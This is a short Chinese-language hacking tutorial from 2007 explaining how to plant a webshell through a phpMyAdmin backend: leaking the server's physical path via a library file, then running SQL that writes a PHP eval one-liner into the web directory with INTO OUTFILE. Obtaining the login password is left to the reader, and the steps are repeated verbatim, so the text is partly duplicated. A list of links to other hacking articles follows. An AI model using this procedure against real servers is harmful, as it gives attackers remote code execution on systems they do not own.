phpMyAdmin 后臺拿webshell
更新時間：2007年03月08日 00:00:00 作者：
1.如何拿到登陸密碼. 自己想辦法
2.訪問 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑.
3.選擇一個Database.運行以下語句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果沒什么意外.對應網(wǎng)站得到webshell
2.訪問 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路徑.
3.選擇一個Database.運行以下語句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果沒什么意外.對應網(wǎng)站得到webshell
相關文章
小談RADMIN的幾個小技巧...2007-10-10
開放IPC$共享...2007-01-01
expression&eval跨站的一個方法...2007-03-03
大部分軟件，其安裝都具備一定的智能性，換句話說，許多軟件的安裝都能采取全自動或半自動的方式進行2007-03-03
PHP服務端SESSION管理工具提供下載...2007-10-10
flyh4t在非安全發(fā)布了dedecms getip()的注射漏洞，漏洞本身的成因沒什么好說的老掉牙的X-Forwarded-For的問題，我想這個漏洞很多人都找到了，不過這個漏洞的利用有個地方還是可以說說的，可以直接得到shell：2008-05-05
國內外黑客組織網(wǎng)址集錦...2007-06-06
ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
在國外對ORACLE的攻擊一直很收關注,只是國內研究的人不太多,或者技術不夠~這里我就打響第一炮吧2007-10-10
一個黑客所需的基本技能總結...2007-11-11
新編MS07004網(wǎng)頁木馬源碼代碼...2007-03-03